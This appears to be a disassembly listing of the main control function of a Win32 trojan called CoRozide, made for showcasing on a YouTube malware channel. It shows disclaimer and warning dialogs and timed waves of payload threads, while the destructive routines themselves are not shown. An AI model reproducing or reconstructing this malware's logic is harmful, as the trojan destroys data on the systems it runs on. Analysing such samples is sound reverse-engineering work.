Function at 0x406c90
Capabilities:
Check os version
Create thread
Terminate thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x138
mov eax, dword [0x41e004]
xor eax, ebp
mov dword [ebp - 4], eax
lea eax, [ebp - 0x120]
mov dword [ebp - 0x120], 0x11c
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
test eax, eax
je 0x4074c1
cmp dword [ebp - 0x11c], 6
push esi
push edi
push 0x34
jb 0x406d5d
mov edi, dword [sym.imp.USER32.dll_MessageBoxW]
push str.In_this_life_either_you_kill_or_you_die._or_you_die_and_kill...
push str.You_are_about_to_run_a_copy_of_the_CoRozide_Win32_trojan__specifically_made_to_be_showcased_on_the_Virus_Check_YouTube_channel_on_a_virtual_machine__n_for_the_purpose_of_entertainment_and_education._This_software_creates_loud_sounds_and_flashing_lights._Running_this_software_will_have_irreversible__nconsequences__non_the_data_of_this_system._The_creator_Null404_is_not_responsible_for_unwanted_data_loss_caused_by_any_use_of_this_software__noutside_of_its_original_purposes_or_the_reverse_engineering_of_this_software_and_subsequent_artificial_removal_of_this_disclaimer._nPress_Yes_if_you_have_an_understanding_of_the_function_of_this_software_and_agree_to_these_terms._Press_No_otherwise.
push 0
call edi
cmp eax, 7
je 0x406d90
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x406c10
push 0
push 0
call esi
push 0
push 0
push 0
push 0x403340
push 0
push 0
call esi
push 0
push 0
push 0
push 0x403340
push 0
push 0
call esi
push 0
push 0
push 0
push 0x403360
push 0
push 0
call esi
push 0
push 0
push 0
push 0x406660
push 0
push 0
call esi
push 0x10
push str.Fatal_Error
push str.CoRozide_has_stopped_working_correctly.__n_Terminating_OS...
push 0
call edi
jmp 0x406cf6
mov esi, dword [sym.imp.USER32.dll_MessageBoxW]
push str.In_this_life_either_you_kill_or_you_die._Or_you_die_and_you_kill...
push str.You_are_about_to_run_a_copy_of_the_CoRozide_Win32_trojan__specifically_made_to_be_showcased_on_the_Virus_Check_YouTube_channel_on_a_virtual_machine__nfor_the_purpose_of_entertainment_and_education._This_software_creates_loud_sounds_and_flashing_lights._Running_this_software_will_have_irreversible__nconsequences__non_the_data_of_this_system._The_creator_Null404_is_not_responsible_for_unwanted_data_loss_caused_by_any_use_of_this_software__noutside_of_its_original_purposes_or_the_reverse_engineering_of_this_software_and_subsequent_artificial_removal_of_this_disclaimer._nPress_Yes_if_you_have_an_understanding_of_the_function_of_this_software_and_agree_to_these_terms._Press_No_otherwise.
push 0
call esi
cmp eax, 7
je 0x406d90
cmp eax, 6
jne 0x406da4
push 0x34
push str.FINAL_WARNING
push str.If_you_are_100__sure_you_want_to_proceed_with_this_execution_resulting_in_damaged_software_and_hardware_then_press_Yes.__nIf_you_do_not_want_to_continue_press_No_and_delete_this_application.
push 0
call esi
cmp eax, 7
jne 0x406da4
pop edi
xor eax, eax
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004074d1
mov esp, ebp
pop ebp
ret 0x10
mov edi, dword [sym.imp.KERNEL32.dll_CreateThread]
push ebx
push 0
push 0
push 0
push 0x403170
push 0
push 0
call edi
push 0
push 0
push 0
push 0x406130
push 0
push 0
call edi
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x1770
call esi
push 0
push 0
push 0
push 0x4019f0
push 0
push 0
call edi
push 0
push 0
push 0
push 0x401ae0
push 0
push 0
mov dword [ebp - 0x130], eax
call edi
push 0
push 0
push 0
push 0x403380
push 0
push 0
call edi
push 0
push 0
push 0
push 0x403380
push 0
push 0
mov dword [ebp - 0x124], eax
call edi
push 0
push 0
push 0
push 0x403390
push 0
push 0
mov ebx, eax
call edi
push 0x3a98
mov edi, eax
call esi
mov eax, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x403380
push 0
push 0
call eax
push 0x3a98
mov esi, eax
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push esi
mov esi, dword [sym.imp.KERNEL32.dll_TerminateThread]
call esi
push 0
push dword [ebp - 0x124]
call esi
push 0
push ebx
call esi
push 0
push edi
call esi
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x401c90
push 0
push 0
call esi
push 0
push 0
push 0
push 0x403380
push 0
push 0
call esi
push 0
push 0
push 0
push 0x403530
push 0
push 0
mov ebx, eax
call esi
push 0
push 0
push 0
push 0x403640
push 0
push 0
mov edi, eax
call esi
push 0x59d8
mov esi, eax
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_TerminateThread]
call ebx
push 0
push edi
call ebx
push 0
push esi
call ebx
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x401e90
push 0
push 0
call esi
push 0
push 0
push 0
push 0x403750
push 0
push 0
call esi
push 0
push 0
push 0
push 0x4037e0
push 0
push 0
mov dword [ebp - 0x124], eax
call esi
push 0
push 0
push 0
push 0x403980
push 0
push 0
mov dword [ebp - 0x128], eax
call esi
push 0
mov dword [ebp - 0x12c], eax
push 0
push 0
push 0x403a40
push 0
push 0
call esi
push 0
push 0
push 0
push 0x403c60
push 0
push 0
mov ebx, eax
call esi
push 0
push 0
push 0
push 0x403b50
push 0
push 0
mov edi, eax
call esi
push 0x1388
mov esi, eax
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x3e80
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push dword [ebp - 0x124]
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push 0
push dword [ebp - 0x128]
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push 0
push dword [ebp - 0x12c]
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push 0
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_TerminateThread]
call ebx
push 0
push edi
call ebx
push 0
push esi
call ebx
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x402090
push 0
push 0
call esi
push 0
push 0
push 0
push 0x403e40
push 0
push 0
call esi
push 0
push 0
push 0
push 0x403ee0
push 0
push 0
mov dword [ebp - 0x12c], eax
call esi
push 0
push 0
push 0
push 0x404130
push 0
push 0
mov dword [ebp - 0x128], eax
call esi
push 0
push 0
push 0
mov dword [ebp - 0x124], eax
push 0x404300
push 0
push 0
call esi
push 0
push 0
push 0
push 0x4043a0
push 0
push 0
mov ebx, eax
call esi
push 0
push 0
push 0
push 0x403f60
push 0
push 0
mov edi, eax
call esi
push 0x59d8
mov esi, eax
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push dword [ebp - 0x130]
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push 0
push dword [ebp - 0x12c]
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push 0
push dword [ebp - 0x128]
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push 0
push esi
mov esi, dword [sym.imp.KERNEL32.dll_TerminateThread]
call esi
push 0
push dword [ebp - 0x124]
call esi
push 0
push ebx
call esi
push 0
push edi
call esi
mov edi, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x4022b0
push 0
push 0
call edi
push 0
push 0
push 0
push 0x404430
push 0
push 0
call edi
push 0x4650
mov esi, eax
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_InvalidateRect]
push 0
push 0
push 0
push 0x4010f0
push 0
push 0
call edi
push 0
push 0
push 0
mov ebx, eax
push 0x4024d0
push 0
push 0
call edi
push 0
push 0
push 0
push 0x4045c0
push 0
push 0
call edi
push 0
push 0
push 0
push 0x404650
push 0
mov edi, eax
mov eax, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
call eax
push 0x3e80
mov esi, eax
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push edi
mov edi, dword [sym.imp.KERNEL32.dll_TerminateThread]
call edi
push 0
push esi
call edi
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x402710
push 0
push 0
call esi
push 0
push 0
push 0
push 0x4047a0
push 0
push 0
call esi
push 0
push 0
push 0
push 0x404710
push 0
push 0
mov edi, eax
call esi
push 0
push 0
push 0
push 0x4049b0
push 0
mov esi, eax
mov eax, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
call eax
push 0x4650
mov dword [ebp - 0x130], eax
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push edi
mov edi, dword [sym.imp.KERNEL32.dll_TerminateThread]
call edi
push 0
push esi
call edi
push 0
push ebx
call edi
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x4028f0
push 0
push 0
call esi
push 0
push 0
push 0
push 0x402b10
push 0
push 0
call esi
push 0
push 0
push 0
push 0x401a50
push 0
push 0
call esi
push 0
push 0
push 0
push 0x404af0
push 0
push 0
call esi
push 0
push 0
push 0
push 0x404b70
push 0
push 0
mov ebx, eax
call esi
push 0
push 0
push 0
push 0x404cb0
push 0
push 0
mov edi, eax
call esi
push 0x61a8
mov esi, eax
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push dword [ebp - 0x130]
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push 0
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_TerminateThread]
call ebx
push 0
push edi
call ebx
push 0
push esi
call ebx
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x402d30
push 0
push 0
call esi
push 0
push 0
push 0
push 0x404e60
push 0
push 0
call esi
push 0
push 0
push 0
push 0x404f40
push 0
push 0
mov dword [ebp - 0x130], eax
call esi
push 0
push 0
mov dword [ebp - 0x12c], eax
push 0
push 0x405f90
push 0
push 0
call esi
push 0
push 0
push 0
push 0x405170
push 0
push 0
mov dword [ebp - 0x134], eax
call esi
push 0
push 0
push 0
push 0x405250
push 0
push 0
mov dword [ebp - 0x128], eax
call esi
push 0
push 0
push 0
push 0x405650
push 0
push 0
mov dword [ebp - 0x124], eax
call esi
push 0
push 0
push 0
push 0x4057f0
push 0
push 0
mov dword [ebp - 0x138], eax
call esi
push 0
push 0
push 0
push 0x405990
push 0
push 0
mov ebx, eax
call esi
push 0
push 0
push 0
push 0x405a70
push 0
push 0
mov edi, eax
call esi
push 0x61a8
mov esi, eax
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push dword [ebp - 0x130]
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push 0
push dword [ebp - 0x12c]
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push 0
push dword [ebp - 0x128]
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push 0
push dword [ebp - 0x124]
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push 0
push dword [ebp - 0x138]
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push 0
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_TerminateThread]
call ebx
push 0
push edi
call ebx
push 0
push esi
call ebx
push 0
push dword [ebp - 0x134]
call ebx
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x402f50
push 0
push 0
call esi
push 0
push 0
push 0
push 0x405d10
push 0
push 0
call esi
push 0
push 0
push 0
push 0x405dd0
push 0
push 0
mov dword [ebp - 0x134], eax
call esi
push 0
push 0
push 0
push 0x405e40
push 0
push 0
mov ebx, eax
call esi
push 0x1b58
mov edi, eax
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push 0
push 0
push 0x405f00
push 0
push 0
call esi
push 0x1f40
mov esi, eax
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push dword [ebp - 0x134]
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push 0
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_TerminateThread]
call ebx
push 0
push edi
call ebx
push 0
push esi
call ebx
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x403b50
push 0
push 0
call esi
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x1f40
call ebx
push 0
push 0
push 0
push 0x406b90
push 0
push 0
call esi
push 0x3e8
call ebx
pop ebx
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004074d1
mov esp, ebp
pop ebp
ret 0x10